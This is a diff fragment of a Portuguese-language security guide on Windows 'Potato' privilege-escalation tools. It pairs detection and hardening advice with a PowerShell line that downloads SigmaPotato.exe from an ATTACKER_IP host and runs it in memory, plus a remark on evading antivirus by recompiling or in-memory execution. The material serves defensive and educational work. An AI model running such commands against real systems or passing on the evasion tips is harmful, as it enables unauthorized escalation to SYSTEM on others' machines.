-SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um auxiliar de PowerShell para reverse shell. +SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,11 +150,11 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re ``` ## Notas de detecção e endurecimento -- Monitore processos que criam named pipes e imediatamente chamam APIs de duplicação de token seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode expor telemetria útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), e linhas de comando que geram processos filhos como SYSTEM. -- Endurecimento do Spooler: Desativar o serviço Print Spooler em servidores onde não é necessário previne coerções locais ao estilo PrintSpoofer via spoolss. -- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os menores privilégios necessários e isolá-los com service SID e tokens com permissão de escrita restrita quando possível. -- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirector interno esteja disponível. -- EDR/AV: Todas essas ferramentas são amplamente detectadas por assinaturas. Recompilar a partir do código-fonte, renomear símbolos/strings ou usar in-memory execution pode reduzir a detecção, mas não derrotará detecções comportamentais robustas. +- Monitore processos que criam named pipes e imediatamente chamam token-duplication APIs seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode revelar telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM. +- Endurecimento do Spooler: Desabilitar o serviço Print Spooler em servidores onde não é necessário impede coerções locais do tipo PrintSpoofer via spoolss. +- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os privilégios mínimos necessários e isolá-los com service SID e write-restricted tokens quando possível. +- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirecionador interno esteja disponível. +- EDR/AV: Todas essas ferramentas são amplamente signatured. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais sólidas. ## Referências